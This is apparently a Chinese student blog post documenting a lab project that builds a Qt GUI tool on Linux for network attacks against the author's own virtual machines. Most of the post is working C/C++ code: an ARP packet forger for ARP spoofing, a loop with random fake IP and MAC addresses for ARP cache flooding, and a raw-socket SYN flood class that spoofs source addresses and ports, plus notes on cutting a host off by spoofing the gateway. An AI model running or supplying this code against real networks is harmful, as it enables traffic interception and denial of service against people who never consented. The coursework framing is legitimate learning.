记一次累累累的过往:在Linux环境下的项目实现

写在前面:当你看到这篇文章的时候,我有可能已经完成了这个实训,这是边做边写的一个叙事流,或者是什么私心分享流)。

 大书记官艾尔海森为你写诗:)

任务背景:

  1. 在任意环境下实现ARP欺骗(主)、某种攻击、嗅探数据包
  2. 实现可视化编程
  3. 编程语言不限

我使用的环境和基本配置:

环境:Windows11,Ubuntu 22.04LST,Kali 最新版(后面两个是Linux虚拟机,请百度安装

编程语言:C++,C

可视化工具:QtCreator 5.12.12 (Ubuntu下)

编译器:gcc,g++

需要安装的库:libpcap

一些前置条件:

  • 在创建Qt项目环境之后,请立刻在.pro文件里面空白行加上
    LIBS += -L/usr/local/lib -lpcap
    
    QT+=network
  • 运行程序的时候请用root身份,或者直接百度如何设置Ubuntu的root身份
  • 请将两个虚拟机设置成桥接网络连接,并且不要用校园网,尽量用家用WIFI或者热点也可以。

进入正题:ARP欺骗

首先,有没有人知道ARP是什么玩意呀?(눈_눈)

不知道的,先百度捏。不多说,先把它的基本包结构呈上,因为这个是我们编程的主要难点,不知道包结构的话,直接宣判了死亡。

这里一目了然(哼哼),包含以太网首部和ARP首部,以及我们可以控制的部分包括后面的部分:发送者硬件地址、发送者IP地址、目标硬件地址、目标IP地址。(图源

说白了可以设计的部分包含这几个

  1. ar_op 操作码:控制这个ARP包是属于应答包还是请求包
  2. arp_sha(sender_mac_address)发送者的Mac地址,可以写真的或者假的0-0!
  3. arp_spa(sender_ip_address)发送者的IP地址,可以写真的或者假的0-0!
  4. arp_tha(target_mac_address)接收者的Mac地址,写真的!因为假的没有意义。
  5. arp_tpa(target_ip_address)接收者的IP地址,写真的!因为假的没有意义。

这些将会在后续的ARP攻击中成为关键字,也就是你的函数的入口参数。因为它们可以改呀。

太多字了,大家看完了就休息一会。所以,我看张帅哥不过分吧?(눈▂눈)

咳咳,接下来继续!

从0开始的Qt编程之旅(什么?什么梅?)

首先,打开你装好的QtCreator,创建Qt Widget项目,是包含可视化界面的,如果你不想要的话,就选console项目。Qt做为前置基础哦,不知道或者不熟悉的小火鸡们先去康康B站教程,或者直接硬刚,边搜边做(我就是)。

建立类文件,包含.h,.cpp的文件,类名避免重复!!!最好用arp_info或者arp_packet或者arp_party?用了一个arp_hrd命名之后不让我用了,真是怪事,应该是重名了。

这里我基本代码参考了一位佬的代码!有疑问的直接去看也没关系。

但是他用的其实是winpcap,呃,问题不大!我们也成功地能融合!(눈▽눈)(确信)

在此之前最好再有点关于libpcap的基本知识,比如pcap_t是啥?pcap_sendpacket()又是啥?pcap_open_live()又是啥?回调函数之类的...

欸欸,越说越远了,不会就搜,很快的。

我们在建好文件之后,最重要的是把ARP包建出来,根据那个图定义一个基本结构体,注意里面的数据类型,基本上不会变,但是其实可以用Qt自己的类型写一点,不过基本上是C多些,只要没有signal.h就不会和Qt冲突。关于signal.h冲突和bash文件间接调用C编译文件,我会在末尾写一下?

写在arp_info.h:

头文件

#include <QDateTime>
#include <QDebug>
#include <stdio.h>
#include <stdlib.h>
#include <pcap/pcap.h>
#include <string.h>
#include <QString>
#include <QRegExp>
#include <sstream>
#include <string>
#include <QList>

ARP的字段结构体如下:

#define EtherType 0x0806
#define HardWareType 0x0001
#define ProtocolType 0x0800
#define ARP_Response 0x0002
#define ARP_Request 0x0001
typedef struct tagARPFrame
{
    unsigned short  HW_Type;//硬件类型,2字节,填充0x0001
    unsigned short Prot_Type;//协议的类型,2字节,填充0x0800
    unsigned char HW_Addr_Len;//MAC地址长度,1字节
    unsigned char Prot_Addr_Len;//IP地址长度,1字节
    unsigned short  Opcode;//操作码,2字节,0x0001为请求包,0x0002为应答包
    unsigned char Send_HW_Addr[6];//发送方的MAC地址
    unsigned char Send_Prot_Addr[4];//发送方的IP地址
    unsigned char Targ_HW_Addr[6];//接受方的MAC地址
    unsigned char Targ_Prot_Addr[4];//接收方的IP地址
    unsigned char padding[18];// padding data -> all 0
} ARPFRAME, *PARPFRAME;

物理帧头

typedef struct tagDLCHeader
{
    unsigned char DesMAC[6];//以太网目的mac地址
    unsigned char SrcMAC[6];//以太网源目的mac地址
    unsigned short Ethertype;//帧类型
} DLCHEADER, *PDLCHEADER;

以太网头+ARP头

typedef struct tagARPPacket
{
    DLCHEADER dlcHeader; //以太网头部
    ARPFRAME arpFrame;//arp头部
} ARPPACKET, *PARPPACKET;

声明两个主要函数: 发送ARP包、制造ARP包

class arp_info
{
public:
    arp_info();
    //构造函数我不使用 可以放着
    void sendArpPacket(pcap_t * fp, ARPPACKET &ARPPacket);
    ARPPACKET make_arp_packet(char* i_srcIP, char* i_desIP, char* i_srcMac, char* i_desMac,int i_opcode);
};

写在arp_info.cpp里:

发ARP包:pcap_t 是打开文件句柄使用,用于探测网络接口。后面那个是刚刚定义的ARP包结构体指针地址。fp传入获取的句柄,发送成功或者失败都会用qDebug()打印消息,最好用这个,不然用printf会累积在缓冲区,无法显示。

void arp_info::sendArpPacket(pcap_t * fp, ARPPACKET &ARPPacket)
{
    //发包
    if (pcap_sendpacket(fp,             // Adapter
        (const u_char *)&ARPPacket,     // buffer with the packet
        sizeof(ARPPacket)               // size
        ) != 0)
    {
        qDebug()<<QString("send NULL ! \n");
        qDebug()<<QString("Error sending the packet\n Send NULL!\n");
        return;
    }
    else
    {
        arp_msg += QString("Send Arp Packet size:%1 successfully!\n").arg(sizeof(ARPPacket));
        qDebug()<<QString("send OK! \n");
    }
}

定义一个把MAC地址字符转成二进制字符数组的方法:strtoul

int mac_str_to_bin(char *str, char *mac)
{
    int i;
    char *s, *e;
    if ((mac == nullptr) || (str == nullptr))
    {
        return -1;
    }
    s = (char *)str;
    for (i = 0; i < 6; ++i)
    {
        mac[i] = s ? strtoul(s, &e, 16) : 0;
        if (s)
            s = (*e) ? e + 1 : e;
    }
    return 0;
}

我直接写了一个接口生成ARP包:

传入刚刚我们提到的重要关键字就能生成,普通发送传1,攻击使用2作为操作码。

ARPPACKET arp_info::make_arp_packet(char* i_srcIP, char* i_srcMac, char* i_desIP, char* i_desMac, int opCode)
{
    ARPPACKET Arp_packet;

    mac_str_to_bin(i_srcMac, (char*)Arp_packet.dlcHeader.SrcMAC);
    mac_str_to_bin(i_desMac, (char*)Arp_packet.dlcHeader.DesMAC);

    Arp_packet.dlcHeader.Ethertype = htons(EtherType);
    Arp_packet.arpFrame.HW_Type = htons(HardWareType);
    Arp_packet.arpFrame.Prot_Type = htons(ProtocolType);
    Arp_packet.arpFrame.HW_Addr_Len = 6;
    Arp_packet.arpFrame.Prot_Addr_Len = 4;
    if(opCode == 1)
    {
        Arp_packet.arpFrame.Opcode = htons(ARP_Request);
        arp_msg += QString("-----The arp packet is a Request packet.-----\n");
    }
    else{
        Arp_packet.arpFrame.Opcode = htons(ARP_Response);
        arp_msg += QString("-----The arp packet is a Response packet.-----\n");
    }
    //inet_pton() 将一个IP地址字符串转换为网络字节序(即大端序)的二进制IP地址表示 10->2
    //ntohl() 网络字节序32bit->主机字节序32bit
    // AF_INET ipv4 address family
    inet_pton(AF_INET, i_srcIP, Arp_packet.arpFrame.Send_Prot_Addr);
    inet_pton(AF_INET, i_desIP, Arp_packet.arpFrame.Targ_Prot_Addr);
    mac_str_to_bin(i_srcMac, (char*)Arp_packet.arpFrame.Send_HW_Addr);
    mac_str_to_bin(i_desMac, (char*)Arp_packet.arpFrame.Targ_HW_Addr);

    qDebug()<<"send_mac_bin"<<Arp_packet.arpFrame.Send_HW_Addr;
    qDebug()<<"to_mac_bin"<<Arp_packet.arpFrame.Targ_HW_Addr;
    // fit 0
    memset(Arp_packet.arpFrame.padding, 0, sizeof(Arp_packet.arpFrame.padding));
    QStringList temp = {QString("%1").arg(i_srcIP),QString("%1").arg(i_desIP),QString("%1").arg(i_srcMac),QString("%1").arg(i_desMac),QString("%1").arg(sizeof(Arp_packet)),"ARP"};
    arp_table.append(temp);

    arp_msg += QString("Sender Host from ip:[%1],mac:[%2]\n-----sends %3 size arp packet to-----\nTarget Host from ip:[%4],mac:[%5]\n").arg(i_srcIP).arg(i_srcMac).arg(sizeof(Arp_packet)).arg(i_desIP).arg(i_desMac);
    qDebug()<<QString("Sender Host from ip:[%1],mac:[%2]\n-----sends %3 size arp packet to-----\nTarget Host from ip:[%4],mac:[%5]\n").arg(i_srcIP).arg(i_srcMac).arg(sizeof(Arp_packet)).arg(i_desIP).arg(i_desMac);

    return Arp_packet;
}

编辑白板mainwindow.ui文件如下:

文本显示框textBrowser重命名为arpwin,按钮QPushButton为arp_msg。

在你的窗体文件mainwindow.cpp里面写:这里自己填充数值如下:(我乱写的,真实数据在终端使用"ifconfig-a"获取)

    connect(ui->arp_msg,&QPushButton::clicked,[=]{
        arp_packet ARP;
        // To begin with: if you want to attack please edit the opCode as 2.
        // the first and second items can be fake to attack the target host.
        // the third and forth items must be known.
        ARP.make_arp_packet("xx:xx:xx:xx:xx:xx","255.255.255.255","xx:xx:xx:xx:xx:xx","255.255.255.255");
        // default send once.
        ARP.send_arp_packet();
        ui->arpwin->setPlainText(ARP.arp_msg);
    });

这里的ARP.arp_msg可以加在后面用于统计数据或者日志!(什么创新点?)

然后我用这个攻击了一下我可怜的Kali,要联网!要联网!要联网!

注意一点:Linux不接受未请求的ARP回应,也就是说默认情况下,你单独发一个ARP回应包是不会被写入缓存表的,你要是看见了在里面那肯定是它自己写进去的,不是通过我们的手写进去的。

修改方式如下:(永久)

/etc/sysctl.conf文件里写net.ipv4.conf.all.arp_accept=1
然后终端执行 sudo sysctl -p

就能接收包并写入了!

效果如下:

第一条默认网关的

其中第二条是我Ubuntu的ARP包!可见成功了!下次用网关地址就可以实现断网。

加上循环发包!缓存表爆炸!

这回加上随机伪造IP和MAC用于ARP缓存表溢出攻击

std::string arp_info::Random_IP(int r)
{
    qsrand(QTime(0,0,0).secsTo(QTime::currentTime())+r);
    int start = 0;
    int end = 256;
    std::string res = "";
     for (int i=0; i<4; ++i)
     {
         // random range [0,255]
        int k= qrand() % end+start;
        std::string temp = std::to_string(k);
        res += temp;
        if(i<3)
        {
            res += ".";
        }
     }
     return res;
}
char* arp_info::Random_MAC(int r)
{
    qsrand(QTime(0,0,0).secsTo(QTime::currentTime())+r);
    int start = 0;
    int end = 16;
    for(int i = 0; i < 12; i++)
    {
        // random range [0,11],[a,f]
        int k = start + qrand() % end;
        temp_set[i] = Char_set[k];
    }
    int i = 0, j = 0;
    for(i =0; i<12; i++, j++)
    {
        if(target_set[j]!=':')
        {
           target_set[j] = temp_set[i];
        }
        else
        {
            j++;
            target_set[j] = temp_set[i];
        }
    }
    return target_set;
}

后来还可以写一个SYN Flood类用于测试服务器压力,首先你要有一个服务器,不然啥也测不出来

Kali 配置默认的apache服务器,使用本地IP,端口是80,就可以了。

//SynFlood.h
#ifndef SYNFLOOD_H
#define SYNFLOOD_H
#include <QDateTime>
#include <sys/socket.h>     // for socket
#include <sys/types.h>      // for socket
#include <netinet/in.h>     // for sockaddr_in
#include <netinet/tcp.h>    // for tcp
#include <netinet/ip.h>     // for ip
#include <arpa/inet.h>      // for inet_
#include <net/if.h>         // for ifreq
#include <memory.h>         // for memset
#include <unistd.h>         // for usleep
#include <string>
#include <QDebug>
#include <QList>
class SynFlood
{
public:
    explicit SynFlood();
    virtual ~SynFlood();
    QString syn_msg = "";
    QList<QStringList> syn_table = {};
    QString desip = "";
    QString desport = "";

    /*SynFlood初始化*/
    int init(std::string ip_addr, int port);

    /*SynFlood攻击*/
    int attack(int flood_times);
protected:
    /*初始化rawSocket*/
    int initRawSocket();

    /*初始化ip数据报*/
    int initIpData();
private:
    /*addrInfo*/
    std::string ip_addr;
    int port;

    /*rawSocket*/
    struct sockaddr_in addr;    //地址结构体信息
    int socket_fd;              //socket
    unsigned char ip_datagram[sizeof(struct ip) + sizeof(struct tcphdr)];       //ip数据报
    unsigned int ip_datagram_len = sizeof(struct ip) + sizeof(struct tcphdr);   //ip数据报长度
    struct ip *ip_header;       //ip首部指针
    struct tcphdr *tcp_header;  //tcp首部指针
};

#endif // SYNFLOOD_H


//SynFlood.cpp
#include "synflood.h"


u_int16_t check_sum(u_int16_t *buffer, int size);

SynFlood::SynFlood()
{
    srandom(time(nullptr));
    QDateTime dateTime;
    dateTime = QDateTime::currentDateTime();
    syn_msg = "--------SYN Flood Information--------\n";
    syn_msg += dateTime.toString("yyyy-MM-dd hh:mm:ss\n");
}

SynFlood::~SynFlood()
{
    ip_header = nullptr;
    tcp_header = nullptr;
}

/*SynFlood初始化*/
int SynFlood::init(std::string ip_addr, int port)
{
    // initiate the ip and port for object
    this->ip_addr = ip_addr;
    this->port = port;
    desip = QString::fromStdString(ip_addr);
    int res = initRawSocket();
    if(res!=0){
        return -1;
    }

    initIpData();
    return 0;
}

/*初始化rawSocket*/
int SynFlood::initRawSocket()
{
    // 创建对方地址信息
    addr.sin_family = AF_INET;// ipv4 协议族
    addr.sin_addr.s_addr = inet_addr(ip_addr.c_str());
    addr.sin_port = htons(port);

    // 创建原始套接字,TCP
    socket_fd = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
    if(socket_fd<0){
        perror("socket:");
        return -1;
    }
    qDebug() << "sock:" << socket_fd  << endl;
    syn_msg += QString("Already create a socket called:%1.\n").arg(socket_fd);
    // 防止自动填充数据包
    int on = 1;
    int opt =  setsockopt(socket_fd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
    if(opt<0){
        perror("opt:");
        return -1;
    }
    return 0;
}

/*初始化ip数据报*/
int SynFlood::initIpData()
{
    // 初始化ip数据报 ip_datagram(IP首部+TCP首部+TCP数据部分)
    memset(&ip_datagram,0,sizeof(ip_datagram));
//    qDebug()<< "ip_datagram size :" << ip_datagram_len << endl;
    syn_msg += QString("Make a %1 size IP data packet.\n").arg(ip_datagram_len);
    // 构建IP首部和TCP首部指针

    ip_header = (struct ip *)ip_datagram;
    tcp_header = (struct tcphdr *)(ip_datagram + sizeof(struct ip));//ip首部后面就是tcp报文段了

    /*封装ip首部*/
    // 版本 4
    ip_header->ip_v = IPVERSION;
    // 首部长度 4   右移 2 位(相当于除以 4)得到长度以 32 位字为单位的值
    ip_header->ip_hl = sizeof(struct ip)>>2;
    // 服务类型(types of service) 8
    ip_header->ip_tos = 0;
    // 总长度 16
    //htons()将主机字节序转换为网络字节序
    ip_header->ip_len = htons(ip_datagram_len);
    // 标识 16
    ip_header->ip_id = 0;
    // 标志+偏移 16
    ip_header->ip_off = 0;
    // 生存时间 8
    ip_header->ip_ttl = 0;
    // 协议 8  TCP protocol --value==6
    ip_header->ip_p = IPPROTO_TCP;
    // 首部检验和 16
    ip_header->ip_sum = 0;
    // 源地址(可伪造) 32
    //ip_header->ip_src.s_addr = inet_addr("127.0.0.1");
    // sockaddr_in addr -->(sin_addr,sin_port)
    // 目的地址 32  addr.sin_addr 中存储的是一个二进制形式的 IPv4 地址
    ip_header->ip_dst = addr.sin_addr;

    /*封装tcp首部*/
    // 源端口 16 , 在syn攻击部分随机伪造端口
    //tcp_header->source = htons(m_port);
    // 目的端口 16
    tcp_header->dest = addr.sin_port;
    // 序号 32
    tcp_header->seq = 0;
    // 确认号 32
    tcp_header->ack_seq = 0;
    // 数据偏移 4
    //tcp_header->res1 = 0;
    // 保留 4
    tcp_header->doff = 5;  // 这里从wireshark来看是指的是数据偏移,resl和doff的位置反了,不知道是头文件有问题还是什么的,应该不是大小端问题。
    //res2+urg+ack+psh+rst+syn+fin 8
    //tcp_header->res2 = 0;
    //tcp_header->urg = 0;
    //tcp_header->ack = 0;
    //tcp_header->psh = 0;
    //tcp_header->rst = 0;
    tcp_header->syn = 1;
    //tcp_header->fin = 0;
    // 窗口 16
    //tcp_header->window = 0;
    // 检验和 16
    tcp_header->check = 0;
    // 紧急指针 16
    //tcp_header->urg_ptr = 0;
    return 0;
}


/*syn攻击*/
int SynFlood::attack(int flood_times)
{
    /*synFlood*/
    for(int i = 0 ; i < flood_times ; i++){
        // 伪造ip源地址
        u_int32_t m_ip = random();
        ip_header->ip_src.s_addr = htonl(m_ip);
        // 伪造tcp源端口
        tcp_header->source = htons(random());
//        qDebug() << "Fake ip:" << inet_ntoa(ip_header->ip_src) << "Fake port:" << tcp_header->source << endl;
        syn_msg += QString("Sender Host from:[%1],port:[%2]\n------sends a TCP packet for SYN to-----\nTarget Host from[%3],port[%4]\n")
                .arg(inet_ntoa(ip_header->ip_src)).arg(tcp_header->source).arg(desip).arg(port);

        QStringList temp = {QString("%1").arg(inet_ntoa(ip_header->ip_src)),QString("%1").arg(desip),QString("%1").arg(tcp_header->source),QString("%1").arg(port),QString("%1").arg(ip_datagram_len),"SYN"};
        syn_table.append(temp);
//        qDebug()<<"temp_syn_table"<<syn_table;

        /*计算tcp校验和*/
        ip_header->ip_ttl = 0;
        tcp_header->check = 0;
        // ip首部的校验和,内核会自动计算,可先作为伪首部,存放tcp长度
        ip_header->ip_sum = htons(sizeof(struct tcphdr));
        // 计算tcp校验和,从伪首部开始
        tcp_header->check = check_sum((u_int16_t *)ip_datagram+4,sizeof(ip_datagram)-8);

        ip_header->ip_ttl = MAXTTL;
        // 发送
        int res =  sendto(socket_fd,ip_datagram,ip_datagram_len,0,(sockaddr *)&addr,sizeof(struct sockaddr_in));
        qDebug() << res << endl;
        if(res<0){
            perror("res");
            return -1;
        }
        usleep(10000);
        if(res>0)
        {
            syn_msg += QString("SYN Flood sends successfully!\n");
        }
    }
    return 0;
}

u_int16_t check_sum(u_int16_t *buffer, int size)
{
    //建议将变量放入寄存器, 提高处理效率.
    register int len = size;
    //16bit
    register u_int16_t *p = buffer;
    //32bit
    register u_int32_t sum = 0;

    //16bit求和
    while( len >= 2)
    {
        sum += *(p++)&0x0000ffff;
        len -= 2;
    }

    //最后的单字节直接求和
    if( len == 1){
        sum += *((u_int8_t *)p);
    }

    //高16bit与低16bit求和, 直到高16bit为0
    while((sum&0xffff0000) != 0){
        sum = (sum>>16) + (sum&0x0000ffff);
    }
    return (u_int16_t)(~sum);
}

最后的东西还得和界面结合,这只是我关于ARP的测试界面,后面的界面是这样的:

封面:(当初是按照神堕八岐大蛇的配色配的)

ipdump部分:

ARP部分:

实验版真好康(눈益눈)哈哈哈哈哈

变身!

还整了一个用来显示数据的表格

 

日志如下

QT表格代码截取,从网上爬下来的格式就挺多bug的,不过丢给ChatGPT好像改改就好了。

//QTable to output the data for arp attack
       ui->tableWidget->setColumnCount(6);
       ui->tableWidget->setFocusPolicy(Qt::NoFocus);
       QStringList headerText = {"srcIP","desIP","srcMac","desMac","Length","Attack Type"};
       ui->tableWidget->setHorizontalHeaderLabels(headerText);
       ui->tableWidget->setSelectionBehavior(QAbstractItemView::SelectRows);  //设置选择行为时每次一行
       ui->tableWidget->setEditTriggers(QAbstractItemView::NoEditTriggers); //设置表格内容不可编辑
       ui->tableWidget->setStyleSheet("selection-background-color:rgb(208, 163, 246);"); //设置选中行的背景色
       ui->tableWidget->horizontalHeader()->setDefaultAlignment(Qt::AlignCenter);// center align
       ui->tableWidget->horizontalHeader()->setSectionResizeMode(QHeaderView::Stretch);
       ui->tableWidget->horizontalHeader()->setSectionResizeMode(3, QHeaderView::Fixed);
       ui->tableWidget->setColumnWidth(3, 150);
       ui->tableWidget->horizontalHeader()->setSectionResizeMode(2, QHeaderView::Fixed);
       ui->tableWidget->setColumnWidth(2, 150);
       ui->tableWidget->horizontalHeader()->setSectionResizeMode(0, QHeaderView::Fixed);
       ui->tableWidget->setColumnWidth(0, 145);
       ui->tableWidget->horizontalHeader()->setSectionResizeMode(1, QHeaderView::Fixed);
       ui->tableWidget->setColumnWidth(1, 145);
       QTableWidgetItem *item = new QTableWidgetItem("item");
       //获取原有字体设置
       QFont font = item->font();
       //设置为粗体
       font.setBold(true);
       //字体大小
       font.setPointSize(10);
       //字体颜色
       item->setTextColor("rgb(255, 255, 255)");
       //设置字体
       item->setFont(font);
       // syn table data config
       ui->syn_table->setColumnCount(6);
       ui->syn_table->setFocusPolicy(Qt::NoFocus);
       QStringList syn_header = {"srcIP","desIP","srcPort","desPort","Length","Attack Type"};
       ui->syn_table->setHorizontalHeaderLabels(syn_header);
       ui->syn_table->setSelectionBehavior(QAbstractItemView::SelectRows);  //设置选择行为时每次一行
       ui->syn_table->setEditTriggers(QAbstractItemView::NoEditTriggers); //设置表格内容不可编辑
       ui->syn_table->setStyleSheet("selection-background-color:rgb(208, 163, 246);"); //设置选中行的背景色
       ui->syn_table->horizontalHeader()->setDefaultAlignment(Qt::AlignCenter);// center align
       ui->syn_table->horizontalHeader()->setSectionResizeMode(QHeaderView::Stretch);
       ui->syn_table->horizontalHeader()->setSectionResizeMode(3, QHeaderView::Fixed);
       ui->syn_table->setColumnWidth(3, 150);
       ui->syn_table->horizontalHeader()->setSectionResizeMode(2, QHeaderView::Fixed);
       ui->syn_table->setColumnWidth(2, 150);
       ui->syn_table->horizontalHeader()->setSectionResizeMode(0, QHeaderView::Fixed);
       ui->syn_table->setColumnWidth(0, 145);
       ui->syn_table->horizontalHeader()->setSectionResizeMode(1, QHeaderView::Fixed);
       ui->syn_table->setColumnWidth(1, 145);
       QTableWidgetItem *syn_item = new QTableWidgetItem("item");
       //获取原有字体设置
       QFont syn_font = syn_item->font();
       //设置为粗体
       syn_font.setBold(true);
       //字体大小
       syn_font .setPointSize(10);
       //字体颜色
       syn_item->setTextColor("rgb(255, 255, 255)");
       //设置字体
       syn_item->setFont(syn_font);
       connect(ui->show_details,&QPushButton::clicked,[=]{
           //show table details QList<QList{QStringList{QString}}>
           // QStringList format:{{srcIP,desIp,srcMac,desMac,Length,AttackType},{}} one unit
           // arp_table
           if(!arp_table.isEmpty())
           {
               int rowCount = arp_table.size(); // 获取数据的行数
               for(int i=0;i<rowCount;i++)
               {
                   QList<QStringList> innerList = arp_table[i]; // 获取该行的QStringList
                   for(int j=0; j<innerList.size();j++)
                   {
                       // 插入新的一行
                       int row = ui->tableWidget->rowCount();
                       ui->tableWidget->insertRow(row);
                       QStringList temp = innerList[j];
//                       qDebug()<<"temp"<<temp;
                       for(int k=0; k< temp.size(); k++)
                       {
                           QTableWidgetItem *item = new QTableWidgetItem(temp[k]); // 创建单元格
                           ui->tableWidget->setItem(row, k, item); // 添加单元格到表格
                       }
                   }
               }
           }
           if(!syn_table.isEmpty())
           {
               //syn_table
               int syn_row = syn_table.size(); // 获取数据的行数
               for(int i=0;i<syn_row;i++)
               {
                   QList<QStringList> innerList = syn_table[i]; // 获取该行的QStringList
    //               qDebug()<<"arp_table[i]"<<arp_table[i];
                   for(int j=0; j<innerList.size();j++)
                   {
                       // 插入新的一行
                       int row = ui->syn_table->rowCount();
                       ui->syn_table->insertRow(row);
                       QStringList temp = innerList[j];
    //                   qDebug()<<"temp"<<temp;
                       for(int k=0; k< temp.size(); k++)
                       {
                           QTableWidgetItem *item = new QTableWidgetItem(temp[k]); // 创建单元格
                           ui->syn_table->setItem(row, k, item); // 添加单元格到表格
                       }
                   }
               }
           }
       });
        // multi row
       connect(ui->table_clear,&QPushButton::clicked,[=]{
           QList<QTableWidgetItem*> items = ui->tableWidget->selectedItems();
           QSet<int> rows;
           foreach(QTableWidgetItem *item, items)
           {
               rows.insert(item->row());
           }
           // 从最后一行开始循环删除
           foreach(int row, rows)
           {
               ui->tableWidget->removeRow(row);
           }

           QList<QTableWidgetItem*> syn_items = ui->syn_table->selectedItems();
           QSet<int> syn_rows;
           foreach(QTableWidgetItem *item, syn_items)
           {
               syn_rows.insert(item->row());
           }
           // 从最后一行开始循环删除
           foreach(int row, syn_rows)
           {
               ui->syn_table->removeRow(row);
           }
       });

        //all clear
       connect(ui->all_clear,&QPushButton::clicked,[=]{
           int rowCount = ui->tableWidget->rowCount();
           for (int i = rowCount - 1; i >= 0; i--) {
               ui->tableWidget->removeRow(i);
           }
           int syn_row= ui->syn_table->rowCount();
           for (int i = syn_row - 1; i >= 0; i--) {
               ui->syn_table->removeRow(i);
           }
       });

关于bash的部分,还是说一下吧,因为呢C语言有些东西是嵌入不进去QT的,比如这个signal.h函数会和QT自己的信号函数定义重合,所以必然冲突,但是singal.h是用于接收键盘输入的信号,这里如何嵌入QT并模拟Ctrl+C中断效果?

那就要用到bash这个脚本,虽然这样写很野蛮,但是效果却还可以?!

这里的调用顺序大致是从Stop.sh->Run.sh->Test.exe->stest.sh->MYLOG.txt.

首先编译你的C文件,得到可执行程序,粘贴到building类似Debug里的文件夹,然后在里面写bash文件调用可执行程序。

Ctrl+C 原来我是用timeout来模拟,但是根本就不一样,人家是手动暂停,我这里自动了,那不对!要用一个进程号表示那个可执行程序的进程,然后用INT信号杀掉才对。

# !/bin/bash
PID=$(pgrep -f your_exe_name)
# echo "$PID"
kill -INT $PID

如果有人要用我的程序,请一定要看懂这些乱七八糟的bash文件是什么意思,不然就会觉得很难理解....或者根本不要用我的垃圾代码谢谢,因为超级多粗暴的处理方式和写法。

(눈益눈)(눈益눈)(눈益눈)(눈益눈)(눈益눈)

源码

终于结束力!可以玩原神和写英语了.....

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值